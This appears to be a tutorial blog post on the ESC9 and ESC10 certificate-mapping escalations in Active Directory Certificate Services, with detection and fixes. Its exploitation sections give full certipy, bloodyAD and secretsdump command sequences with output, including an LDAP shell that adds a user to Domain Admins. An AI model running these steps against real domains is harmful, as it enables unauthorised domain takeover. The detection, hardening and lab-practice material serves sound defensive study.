Introduction
In 2022 Microsoft released KB5014754 to address certificate-based authentication security. This patch introduced a new certificate extension called szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) that embeds the requesting user’s SID directly into the issued certificate. The goal was to enable strong certificate-to-account mapping and prevent attackers from abusing weak mapping (UPN-based) to impersonate other users.
However, two new escalation paths emerged because of misconfigurations and backward-compatibility settings around this patch:
| Technique | Core Issue |
|---|
| ESC9 | Template flag CT_FLAG_NO_SECURITY_EXTENSION prevents the SID from being embedded in the certificate |
| ESC10 | Registry settings on the DC disable or weaken strong certificate mapping enforcement |
Both techniques allow an attacker with GenericWrite over another account to escalate to Domain Admin by manipulating UPN values and requesting certificates that map to a privileged account.
This post assumes basic familiarity with ADCS concepts (CAs, templates, EKUs). If you are new to ADCS abuse, read the SpecterOps Certified Pre-Owned whitepaper first.
Background — Certificate Mapping
When a user authenticates with a certificate (Kerberos PKINIT or Schannel), the Domain Controller must map the certificate to an AD account. There are two mapping methods:
Weak Mapping (Legacy)
The DC reads the UPN (User Principal Name) from the certificate’s Subject Alternative Name (SAN) and finds the AD account with a matching userPrincipalName.
1
2
3
4
5
6
7
8
| Certificate SAN: UPN = administrator@corp.local
│
▼
DC searches AD for:
userPrincipalName = administrator@corp.local
│
▼
Maps to: Administrator account
|
Problem: If an attacker can control the UPN inside a certificate, they can impersonate anyone.
Strong Mapping (Post-Patch)
The DC reads the SID from the szOID_NTDS_CA_SECURITY_EXT extension (OID 1.3.6.1.4.1.311.25.2) embedded in the certificate and matches it against the account’s objectSid.
1
2
3
4
5
6
7
8
| Certificate Extension: SID = S-1-5-21-...-1234
│
▼
DC searches AD for:
objectSid = S-1-5-21-...-1234
│
▼
Maps to: Exact account
|
Secure: The SID is set by the CA at issuance time based on the authenticated requester. Even if the UPN is manipulated, the SID won’t match.
Key Registry Values
Two registry values on the Domain Controller control which mapping method is used:
StrongCertificateBindingEnforcement
1
2
3
| Path: HKLM\SYSTEM\CurrentControlSet\Services\Kdc
Value: StrongCertificateBindingEnforcement
Type: REG_DWORD
|
| Value | Behavior |
|---|
0 | No strong mapping enforcement. DC does NOT check the SID extension at all. Falls back to weak (UPN) mapping. Dangerous. |
1 | Compatibility mode (default after patch). If the cert HAS the SID extension → strong mapping. If the cert does NOT have it → falls back to weak mapping (logs a warning). |
2 | Full enforcement. Only strong mapping. Certificates without the SID extension are rejected. Secure. |
CertificateMappingMethods
1
2
3
| Path: HKLM\SYSTEM\CurrentControlSet\Services\Schannel
Value: CertificateMappingMethods
Type: REG_DWORD
|
This controls Schannel (TLS/LDAPS) certificate mapping. It is a bitmask:
| Bit | Value | Mapping Method |
|---|
| 0x1 | 1 | Subject/Issuer mapping |
| 0x2 | 2 | Issuer mapping |
| 0x4 | 4 | UPN mapping (SAN UPN → AD UPN) |
| 0x8 | 8 | S4U2Self Kerberos mapping |
| 0x10 | 16 | S4U2Self explicit certificate mapping |
The default value is 0x18 (24) = S4U2Self methods only (secure).
If the value contains 0x4 (UPN bit), Schannel will perform weak UPN-based mapping.
You can check both values remotely with reg query or LDAP if you have sufficient access.
CT_FLAG_NO_SECURITY_EXTENSION
This is a flag in the msPKI-Enrollment-Flag attribute of a certificate template.
1
| CT_FLAG_NO_SECURITY_EXTENSION = 0x00080000 (524288)
|
When this flag is set, the CA will NOT embed the szOID_NTDS_CA_SECURITY_EXT SID extension in issued certificates, even if the CA supports it.
This means certificates issued from this template will always fall back to weak mapping (when StrongCertificateBindingEnforcement is 0 or 1).
Check it with PowerShell:
1
2
3
4
5
6
7
| # Query the enrollment flags of a template
Get-ADObject -Filter {objectClass -eq 'pKICertificateTemplate'} `
-Properties Name, msPKI-Enrollment-Flag |
Select-Object Name, @{
N='NoSecurityExtension';
E={($_.{msPKI-Enrollment-Flag} -band 0x80000) -ne 0}
}
|
Or via LDAP:
1
2
3
4
5
6
7
8
9
10
11
| # Check specific template
$template = Get-ADObject -Filter {
objectClass -eq 'pKICertificateTemplate' -and Name -eq 'VulnerableTemplate'
} -Properties msPKI-Enrollment-Flag
$flag = $template.'msPKI-Enrollment-Flag'
if ($flag -band 0x80000) {
Write-Host "[!] CT_FLAG_NO_SECURITY_EXTENSION is SET — Vulnerable to ESC9" -ForegroundColor Red
} else {
Write-Host "[+] Flag not set — Not vulnerable" -ForegroundColor Green
}
|
ESC9 — No Security Extension Abuse
Requirements
| Requirement | Detail |
|---|
| GenericWrite | Over any AD user/computer account (to change their UPN) |
| StrongCertificateBindingEnforcement | Set to 0 or 1 (NOT 2) |
| Template flag | CT_FLAG_NO_SECURITY_EXTENSION (0x80000) is set in msPKI-Enrollment-Flag |
| Template EKU | Includes Client Authentication (1.3.6.1.5.5.7.3.2) or Smart Card Logon (1.3.6.1.4.1.311.20.2.2) or any purpose / no EKU |
| Enrollment rights | Attacker or a controlled account can enroll in the template |
Attack Theory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| Attacker (UserA) Domain Controller
has GenericWrite StrongCertificateBindingEnforcement = 1
over UserB
│
│ Step 1: Change UserB's UPN
│ to "administrator@corp.local"
│──────────────────────────────────► AD updates UserB's UPN
│
│ Step 2: Request certificate
│ as UserB using template
│ with NO_SECURITY_EXTENSION
│──────────────────────────────────► CA issues cert:
│ UPN = administrator@corp.local
│ SID extension = NOT PRESENT
│
│ Step 3: Change UserB's UPN back
│ to "userB@corp.local"
│──────────────────────────────────► AD updates UserB's UPN
│
│ Step 4: Authenticate with cert
│──────────────────────────────────► DC checks cert:
│ - No SID extension found
│ - StrongBinding = 1 → fallback
│ - Maps UPN "administrator@corp.local"
│ - Returns Administrator's TGT
│◄──────────────────────────────────
│ 🎉 Authenticated as Administrator
|
The key insight: Because CT_FLAG_NO_SECURITY_EXTENSION prevents the SID from being embedded, and StrongCertificateBindingEnforcement = 1 falls back to UPN mapping when no SID is present, the DC maps the certificate to whoever currently has that UPN — but we already changed it back so there is no conflict, and the cert permanently contains the admin’s UPN.
Exploitation with Certipy
Step 0 — Enumerate Vulnerable Templates
1
2
3
| # Full ADCS enumeration
certipy find -u 'userA@corp.local' -p 'Password123' \
-dc-ip 10.10.10.1 -vulnerable -stdout
|
Look for output like:
1
2
3
4
| [!] Vulnerabilities
ESC9 : 'CORP\\Domain Users' can enroll, enrollee supplies subject,
and target has CT_FLAG_NO_SECURITY_EXTENSION set.
StrongCertificateBindingEnforcement: 1
|
You can also manually query the template:
1
2
3
| # Check enrollment flags with certipy
certipy find -u 'userA@corp.local' -p 'Password123' \
-dc-ip 10.10.10.1 -stdout | grep -A 20 "VulnTemplate"
|
Step 1 — Change the Target’s UPN
1
2
3
4
5
6
7
| # Change UserB's UPN to the target (Administrator)
certipy account update \
-u 'userA@corp.local' \
-p 'Password123' \
-user 'userB' \
-upn 'administrator@corp.local' \
-dc-ip 10.10.10.1
|
1
2
3
| [*] Updating user 'userB':
userPrincipalName : administrator@corp.local
[*] Successfully updated 'userB'
|
If the Administrator’s UPN already exists as administrator@corp.local, you may need to temporarily clear the admin’s UPN first, or use administrator without the domain suffix (it depends on the environment).
You can also do this with PowerShell:
1
2
3
4
5
6
| # Requires GenericWrite over userB
Set-ADUser -Identity "userB" -UserPrincipalName "administrator@corp.local"
# Verify
Get-ADUser -Identity "userB" -Properties userPrincipalName |
Select-Object SamAccountName, UserPrincipalName
|
Or with bloodyAD:
1
2
| bloodyAD -d corp.local -u userA -p 'Password123' --host 10.10.10.1 \
set object userB userPrincipalName -v 'administrator@corp.local'
|
Step 2 — Request the Certificate
1
2
3
4
5
6
7
| # Request cert as userB using the vulnerable template
certipy req \
-u 'userB@corp.local' \
-p 'UserBPassword' \
-ca 'corp-DC01-CA' \
-template 'VulnTemplate' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
6
| [*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
|
Notice: Certificate has no object SID — this confirms CT_FLAG_NO_SECURITY_EXTENSION is working as expected. No SID is embedded.
Step 3 — Restore the Original UPN
1
2
3
4
5
6
7
| # Change UserB's UPN back to avoid detection and login issues
certipy account update \
-u 'userA@corp.local' \
-p 'Password123' \
-user 'userB' \
-upn 'userB@corp.local' \
-dc-ip 10.10.10.1
|
1
2
3
| [*] Updating user 'userB':
userPrincipalName : userB@corp.local
[*] Successfully updated 'userB'
|
Step 4 — Authenticate as Administrator
1
2
3
4
5
| # Authenticate using the certificate via Kerberos PKINIT
certipy auth \
-pfx 'administrator.pfx' \
-domain 'corp.local' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
6
7
| [*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local':
aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
|
You now have the Administrator’s NT hash — use it for pass-the-hash, DCSync, or whatever your objective is.
1
2
3
| # DCSync with the hash
impacket-secretsdump 'corp.local/administrator@10.10.10.1' \
-hashes 'aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe'
|
ESC10 — Weak Certificate Mapping Abuse
ESC10 has two cases depending on which registry value is misconfigured.
Case 1 — StrongCertificateBindingEnforcement = 0
Requirements
| Requirement | Detail |
|---|
| GenericWrite | Over any AD account |
| StrongCertificateBindingEnforcement | Set to 0 |
| Any template | That allows client authentication and enrollment (no special flags needed) |
Why It Works
When StrongCertificateBindingEnforcement = 0, the DC completely ignores the SID extension even if it is present. All certificate mapping falls back to weak UPN-based mapping.
This means any client authentication template can be abused — the CT_FLAG_NO_SECURITY_EXTENSION flag is irrelevant here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| Certificate contains:
┌─────────────────────────────────┐
│ UPN: administrator@corp.local │
│ SID: S-1-5-21-...-1234 (UserB) │ ← IGNORED by DC
└─────────────────────────────────┘
│
▼
DC (StrongCertificateBindingEnforcement = 0):
"I don't check SID extensions."
"UPN = administrator@corp.local"
"→ Map to Administrator"
│
▼
✅ Authentication succeeds
as Administrator
|
Exploitation with Certipy
1
2
3
4
5
6
7
| # Step 1: Change target's UPN
certipy account update \
-u 'userA@corp.local' \
-p 'Password123' \
-user 'userB' \
-upn 'administrator@corp.local' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
6
7
| # Step 2: Request cert using ANY client auth template (e.g., default "User" template)
certipy req \
-u 'userB@corp.local' \
-p 'UserBPassword' \
-ca 'corp-DC01-CA' \
-template 'User' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
6
| [*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 43
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-...-1234'
[*] Saved certificate and private key to 'administrator.pfx'
|
Notice the certificate does contain UserB’s SID — but the DC won’t check it because StrongCertificateBindingEnforcement = 0.
1
2
3
4
5
6
7
| # Step 3: Restore UPN
certipy account update \
-u 'userA@corp.local' \
-p 'Password123' \
-user 'userB' \
-upn 'userB@corp.local' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
| # Step 4: Authenticate via PKINIT
certipy auth \
-pfx 'administrator.pfx' \
-domain 'corp.local' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
6
| [*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Got hash for 'administrator@corp.local':
aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
|
Case 2 — CertificateMappingMethods Contains UPN (0x4)
Requirements
| Requirement | Detail |
|---|
| GenericWrite | Over any AD account |
| CertificateMappingMethods | Contains 0x4 (UPN bit) on the DC |
| Any template | That allows client authentication and enrollment |
| Authentication | Via Schannel (LDAPS/TLS), NOT Kerberos PKINIT |
Why It Works
CertificateMappingMethods controls Schannel (not Kerberos). When the UPN bit (0x4) is set, Schannel maps certificates to accounts based on the UPN in the SAN — identical to the old weak mapping.
The StrongCertificateBindingEnforcement value does not apply to Schannel — it only governs Kerberos PKINIT. So even if StrongCertificateBindingEnforcement = 2, if Schannel allows UPN mapping, ESC10 Case 2 still works.
1
2
3
4
5
6
7
8
9
10
11
| Attacker DC (Schannel / LDAPS)
│ CertificateMappingMethods = 0x1C (includes 0x4)
│
│ TLS ClientCertificate
│ UPN: administrator@corp.local
│──────────────────────────────────► Schannel checks 0x4 bit:
│ "UPN mapping enabled"
│ Maps UPN → Administrator
│◄──────────────────────────────────
│ Authenticated via LDAPS
│ as Administrator
|
Checking the Registry Value
1
2
3
| # On the Domain Controller
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Schannel" `
/v CertificateMappingMethods
|
1
| CertificateMappingMethods REG_DWORD 0x1f
|
Check if bit 0x4 is set:
1
2
3
4
5
6
| $val = 0x1f # Example value from registry
if ($val -band 0x4) {
Write-Host "[!] UPN mapping bit (0x4) is SET — Vulnerable to ESC10 Case 2" -ForegroundColor Red
} else {
Write-Host "[+] UPN mapping bit NOT set — Safe" -ForegroundColor Green
}
|
Remotely via crackmapexec or impacket-reg:
1
2
3
4
| # Read remote registry
impacket-reg 'corp.local/userA:Password123@10.10.10.1' query \
-keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Schannel' \
-v 'CertificateMappingMethods'
|
Exploitation with Certipy
1
2
3
4
5
6
7
| # Step 1: Change target's UPN
certipy account update \
-u 'userA@corp.local' \
-p 'Password123' \
-user 'userB' \
-upn 'administrator@corp.local' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
6
7
| # Step 2: Request certificate
certipy req \
-u 'userB@corp.local' \
-p 'UserBPassword' \
-ca 'corp-DC01-CA' \
-template 'User' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
6
7
| # Step 3: Restore UPN
certipy account update \
-u 'userA@corp.local' \
-p 'Password123' \
-user 'userB' \
-upn 'userB@corp.local' \
-dc-ip 10.10.10.1
|
1
2
3
4
5
6
| # Step 4: Authenticate via SCHANNEL (not PKINIT)
# Use -ldap-shell to get an LDAP shell as Administrator via Schannel
certipy auth \
-pfx 'administrator.pfx' \
-dc-ip 10.10.10.1 \
-ldap-shell
|
1
2
3
4
5
| [*] Connecting to 'ldaps://10.10.10.1:636'
[*] Authenticated to 'ldaps://10.10.10.1:636' as: u:CORP\Administrator
Type help for list of commands
#
|
Inside the LDAP shell you can grant yourself DCSync rights:
1
2
3
4
5
6
7
| # add_user_to_group userA "Domain Admins"
Adding user 'userA' to group 'Domain Admins'
Successfully added
# set_rbcd userB DC01$
Setting RBCD on DC01$ to userB
Successfully set
|
Or use PassTheCert directly to authenticate via Schannel and modify AD objects:
1
2
3
4
5
6
7
| # Using passthecert.py
python3 passthecert.py \
-action ldap-shell \
-crt administrator.crt \
-key administrator.key \
-domain corp.local \
-dc-ip 10.10.10.1
|
ESC9 vs ESC10 — Comparison
| Aspect | ESC9 | ESC10 Case 1 | ESC10 Case 2 |
|---|
| Registry abused | StrongCertificateBindingEnforcement = 0 or 1 | StrongCertificateBindingEnforcement = 0 | CertificateMappingMethods includes 0x4 |
| Template requirement | CT_FLAG_NO_SECURITY_EXTENSION must be set | Any client auth template | Any client auth template |
| SID in cert | Not present (flag prevents it) | Present but ignored | May be present (irrelevant for Schannel) |
| Auth protocol | Kerberos PKINIT | Kerberos PKINIT | Schannel (LDAPS/TLS) |
| Prerequisite | GenericWrite over another account | GenericWrite over another account | GenericWrite over another account |
Full Enumeration Checklist
Using Certipy
1
2
3
4
5
6
7
| # One-command enumeration — finds ESC1 through ESC10+
certipy find \
-u 'userA@corp.local' \
-p 'Password123' \
-dc-ip 10.10.10.1 \
-vulnerable \
-stdout
|
Using PowerShell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| # 1. Find templates with CT_FLAG_NO_SECURITY_EXTENSION
Write-Host "`n[*] Checking for CT_FLAG_NO_SECURITY_EXTENSION..." -ForegroundColor Cyan
$templates = Get-ADObject -SearchBase (
"CN=Certificate Templates,CN=Public Key Services,CN=Services," +
(Get-ADRootDSE).configurationNamingContext
) -Filter {objectClass -eq 'pKICertificateTemplate'} `
-Properties Name, msPKI-Enrollment-Flag, msPKI-Certificate-Name-Flag, `
pKIExtendedKeyUsage, msPKI-RA-Signature
foreach ($t in $templates) {
$enrollFlag = $t.'msPKI-Enrollment-Flag'
if ($enrollFlag -band 0x80000) {
Write-Host " [!] VULNERABLE: $($t.Name) — CT_FLAG_NO_SECURITY_EXTENSION is SET" `
-ForegroundColor Red
# Check if it also has Client Auth EKU
$eku = $t.pKIExtendedKeyUsage
$clientAuth = '1.3.6.1.5.5.7.3.2'
$smartCard = '1.3.6.1.4.1.311.20.2.2'
$anyPurpose = '2.5.29.37.0'
if ($null -eq $eku -or $eku -contains $clientAuth -or
$eku -contains $smartCard -or $eku -contains $anyPurpose) {
Write-Host " → Has Client Authentication EKU — exploitable!" `
-ForegroundColor Yellow
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # 2. Check StrongCertificateBindingEnforcement on DCs
Write-Host "`n[*] Checking StrongCertificateBindingEnforcement on DCs..." -ForegroundColor Cyan
$DCs = Get-ADDomainController -Filter *
foreach ($dc in $DCs) {
$val = Invoke-Command -ComputerName $dc.HostName -ScriptBlock {
(Get-ItemProperty -Path `
'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
-Name 'StrongCertificateBindingEnforcement' `
-ErrorAction SilentlyContinue
).StrongCertificateBindingEnforcement
} -ErrorAction SilentlyContinue
if ($null -eq $val) {
Write-Host " [!] $($dc.HostName): Value NOT SET (defaults to 1 — ESC9 possible)" `
-ForegroundColor Yellow
} elseif ($val -eq 0) {
Write-Host " [!] $($dc.HostName): Value = 0 — VULNERABLE to ESC10 Case 1 & ESC9" `
-ForegroundColor Red
} elseif ($val -eq 1) {
Write-Host " [~] $($dc.HostName): Value = 1 — ESC9 possible if template flag set" `
-ForegroundColor Yellow
} else {
Write-Host " [+] $($dc.HostName): Value = $val — Enforced (safe)" `
-ForegroundColor Green
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # 3. Check CertificateMappingMethods on DCs
Write-Host "`n[*] Checking CertificateMappingMethods on DCs..." -ForegroundColor Cyan
foreach ($dc in $DCs) {
$val = Invoke-Command -ComputerName $dc.HostName -ScriptBlock {
(Get-ItemProperty -Path `
'HKLM:\SYSTEM\CurrentControlSet\Services\Schannel' `
-Name 'CertificateMappingMethods' `
-ErrorAction SilentlyContinue
).CertificateMappingMethods
} -ErrorAction SilentlyContinue
if ($null -eq $val) {
Write-Host " [+] $($dc.HostName): Value NOT SET (defaults to 0x18 — safe)" `
-ForegroundColor Green
} elseif ($val -band 0x4) {
Write-Host " [!] $($dc.HostName): Value = 0x$($val.ToString('X')) — UPN bit SET — VULNERABLE to ESC10 Case 2" `
-ForegroundColor Red
} else {
Write-Host " [+] $($dc.HostName): Value = 0x$($val.ToString('X')) — UPN bit NOT set (safe)" `
-ForegroundColor Green
}
}
|
1
2
3
4
5
6
7
| # 4. Find users you have GenericWrite over (using PowerView)
# Import PowerView first: . .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs |
Where-Object {
$_.IdentityReferenceName -eq 'userA' -and
($_.ActiveDirectoryRights -match 'GenericWrite|WriteProperty|WriteDacl')
} | Select-Object ObjectDN, ActiveDirectoryRights
|
Using ldapsearch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # Find templates with CT_FLAG_NO_SECURITY_EXTENSION
ldapsearch -x -H ldap://10.10.10.1 \
-D "userA@corp.local" -w "Password123" \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(objectClass=pKICertificateTemplate)" \
cn msPKI-Enrollment-Flag pKIExtendedKeyUsage 2>/dev/null |
grep -E "(cn:|msPKI-Enrollment-Flag:)" |
while IFS= read -r line; do
if echo "$line" | grep -q "cn:"; then
template=$(echo "$line" | awk '{print $2}')
fi
if echo "$line" | grep -q "msPKI-Enrollment-Flag:"; then
flag=$(echo "$line" | awk '{print $2}')
if (( flag & 0x80000 )); then
echo "[!] $template — CT_FLAG_NO_SECURITY_EXTENSION is SET (flag=$flag)"
fi
fi
done
|
Lab Setup (For Practice)
If you want to reproduce ESC9/ESC10 in a lab, here’s how to create the vulnerable conditions:
Create a Vulnerable Template (ESC9)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # On the CA server — duplicate the "User" template and modify it
# Open certsrv.msc → Certificate Templates → Manage → Duplicate "User"
# Or via PowerShell / ADSI:
$configNC = (Get-ADRootDSE).configurationNamingContext
$templateDN = "CN=ESC9-Vuln,CN=Certificate Templates,CN=Public Key Services,CN=Services,$configNC"
# After creating the template, set the NO_SECURITY_EXTENSION flag
$template = Get-ADObject $templateDN -Properties msPKI-Enrollment-Flag
$currentFlag = $template.'msPKI-Enrollment-Flag'
$newFlag = $currentFlag -bor 0x80000 # Add CT_FLAG_NO_SECURITY_EXTENSION
Set-ADObject $templateDN -Replace @{
'msPKI-Enrollment-Flag' = $newFlag
}
Write-Host "msPKI-Enrollment-Flag set to: $newFlag (includes 0x80000)"
|
Set StrongCertificateBindingEnforcement = 0 (ESC10 Case 1)
1
2
3
4
5
6
7
8
| # On the Domain Controller (DO THIS IN A LAB ONLY)
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
-Name 'StrongCertificateBindingEnforcement' -Value 0 -Type DWord
# Restart the KDC service for the change to take effect
Restart-Service -Name 'Kdc' -Force
Write-Host "[!] StrongCertificateBindingEnforcement set to 0 — VULNERABLE"
|
Set CertificateMappingMethods to Include UPN (ESC10 Case 2)
1
2
3
4
5
| # On the Domain Controller (DO THIS IN A LAB ONLY)
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Schannel' `
-Name 'CertificateMappingMethods' -Value 0x1C -Type DWord # 0x1C includes 0x4
Write-Host "[!] CertificateMappingMethods set to 0x1C — UPN mapping enabled — VULNERABLE"
|
Grant GenericWrite for Testing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Grant userA GenericWrite over userB
$userA = Get-ADUser "userA"
$userB = Get-ADUser "userB"
$acl = Get-Acl "AD:\$($userB.DistinguishedName)"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$userA.SID,
[System.DirectoryServices.ActiveDirectoryRights]::GenericWrite,
[System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$($userB.DistinguishedName)" $acl
Write-Host "[*] GenericWrite granted to userA over userB"
|
Detection
Event Logs to Monitor
Event ID 39 (KDC Warning — Weak Mapping)
When StrongCertificateBindingEnforcement = 1 and a certificate without the SID extension is used, the KDC logs Event ID 39:
1
2
3
4
5
6
7
8
9
10
| Log: System
Source: Kdc
Event: 39
Message: The Key Distribution Center (KDC) encountered a user certificate that
was valid but could not be mapped to a user in a secure way (such as via
explicit mapping, key trust mapping, or a SID).
The certificate also predated the user it mapped to, so it was rejected.
Subject: administrator@corp.local
Certificate SID: <not present>
|
1
2
3
4
5
6
| # Query for Event ID 39
Get-WinEvent -FilterHashtable @{
LogName = 'System'
Id = 39
StartTime = (Get-Date).AddDays(-7)
} | Format-List TimeCreated, Message
|
Event ID 4768 (Kerberos TGT Request with Certificate)
1
2
3
4
5
6
7
8
| # Kerberos TGT requests with certificate auth
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4768
StartTime = (Get-Date).AddDays(-7)
} | Where-Object {
$_.Message -match 'Certificate'
} | Format-List TimeCreated, Message
|
Event ID 4738 (User Account Changed — UPN Modification)
1
2
3
4
5
6
7
8
| # Detect UPN changes — critical indicator of ESC9/ESC10
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4738
StartTime = (Get-Date).AddDays(-7)
} | Where-Object {
$_.Message -match 'User Principal Name'
} | Format-List TimeCreated, Message
|
Sigma Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| title: Potential ESC9/ESC10 - UPN Changed Before Certificate Request
id: 8a7c5e3b-2f1d-4e6a-9c8b-1d3e5f7a9b2c
status: experimental
description: Detects a user's UPN being changed, which may indicate ESC9/ESC10 ADCS abuse
logsource:
product: windows
service: security
detection:
selection:
EventID: 4738
keywords:
Message|contains: 'User Principal Name'
filter:
SubjectUserName|endswith: '$' # Exclude machine accounts
condition: selection and keywords and not filter
falsepositives:
- Legitimate UPN changes by administrators
- User migrations
level: high
tags:
- attack.privilege_escalation
- attack.t1649
|
Fix ESC9
Option A — Remove the flag from vulnerable templates:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| $configNC = (Get-ADRootDSE).configurationNamingContext
$templates = Get-ADObject -SearchBase `
"CN=Certificate Templates,CN=Public Key Services,CN=Services,$configNC" `
-Filter {objectClass -eq 'pKICertificateTemplate'} `
-Properties Name, msPKI-Enrollment-Flag
foreach ($t in $templates) {
$flag = $t.'msPKI-Enrollment-Flag'
if ($flag -band 0x80000) {
$newFlag = $flag -band (-bnot 0x80000) # Remove the bit
Set-ADObject $t.DistinguishedName -Replace @{
'msPKI-Enrollment-Flag' = $newFlag
}
Write-Host "[FIXED] $($t.Name): Removed CT_FLAG_NO_SECURITY_EXTENSION" `
-ForegroundColor Green
Write-Host " Old flag: $flag → New flag: $newFlag"
}
}
|
Option B — Set StrongCertificateBindingEnforcement = 2 (recommended):
1
2
3
4
5
6
7
| # On ALL Domain Controllers
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
-Name 'StrongCertificateBindingEnforcement' -Value 2 -Type DWord
Restart-Service -Name 'Kdc' -Force
Write-Host "[FIXED] StrongCertificateBindingEnforcement set to 2 — Full enforcement"
|
Warning: Setting this to 2 may break certificate authentication for certificates issued before the May 2022 patch that don’t contain the SID extension. Test in a staging environment first.
Fix ESC10 Case 1
1
2
3
4
5
| # Set StrongCertificateBindingEnforcement to at least 1, ideally 2
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' `
-Name 'StrongCertificateBindingEnforcement' -Value 2 -Type DWord
Restart-Service -Name 'Kdc' -Force
|
Fix ESC10 Case 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # Remove the UPN bit (0x4) from CertificateMappingMethods
$current = (Get-ItemProperty -Path `
'HKLM:\SYSTEM\CurrentControlSet\Services\Schannel' `
-Name 'CertificateMappingMethods' -ErrorAction SilentlyContinue
).CertificateMappingMethods
if ($null -ne $current -and ($current -band 0x4)) {
$new = $current -band (-bnot 0x4) # Remove bit 0x4
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Schannel' `
-Name 'CertificateMappingMethods' -Value $new -Type DWord
Write-Host "[FIXED] CertificateMappingMethods: 0x$($current.ToString('X')) → 0x$($new.ToString('X'))" `
-ForegroundColor Green
} else {
Write-Host "[OK] UPN bit not set or value not configured (safe)" -ForegroundColor Green
}
|
General Hardening
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Audit GenericWrite / WriteDACL permissions across all users
# Remove unnecessary write permissions
# Review all certificate template enrollment ACLs
$configNC = (Get-ADRootDSE).configurationNamingContext
Get-ADObject -SearchBase `
"CN=Certificate Templates,CN=Public Key Services,CN=Services,$configNC" `
-Filter {objectClass -eq 'pKICertificateTemplate'} -Properties Name |
ForEach-Object {
Write-Host "`n=== $($_.Name) ===" -ForegroundColor Cyan
(Get-Acl "AD:\$($_.DistinguishedName)").Access |
Where-Object {
$_.ActiveDirectoryRights -match 'Enroll' -and
$_.IdentityReference -notmatch 'Enterprise Admins|Domain Admins|SYSTEM'
} |
Select-Object IdentityReference, ActiveDirectoryRights
}
|
Summary
| | ESC9 | ESC10 Case 1 | ESC10 Case 2 |
|---|
| Root cause | Template blocks SID extension | DC ignores SID extension | Schannel uses UPN mapping |
| Registry | StrongBinding = 0 or 1 | StrongBinding = 0 | CertMapping has 0x4 |
| Template | Must have NO_SECURITY_EXT | Any client auth | Any client auth |
| Auth method | Kerberos PKINIT | Kerberos PKINIT | Schannel (LDAPS) |
| Fix | Remove flag + set StrongBinding=2 | Set StrongBinding ≥ 1 | Remove 0x4 from CertMapping |
Both ESC9 and ESC10 require GenericWrite over another account. Audit and minimize write permissions across your domain to eliminate the prerequisite entirely.
References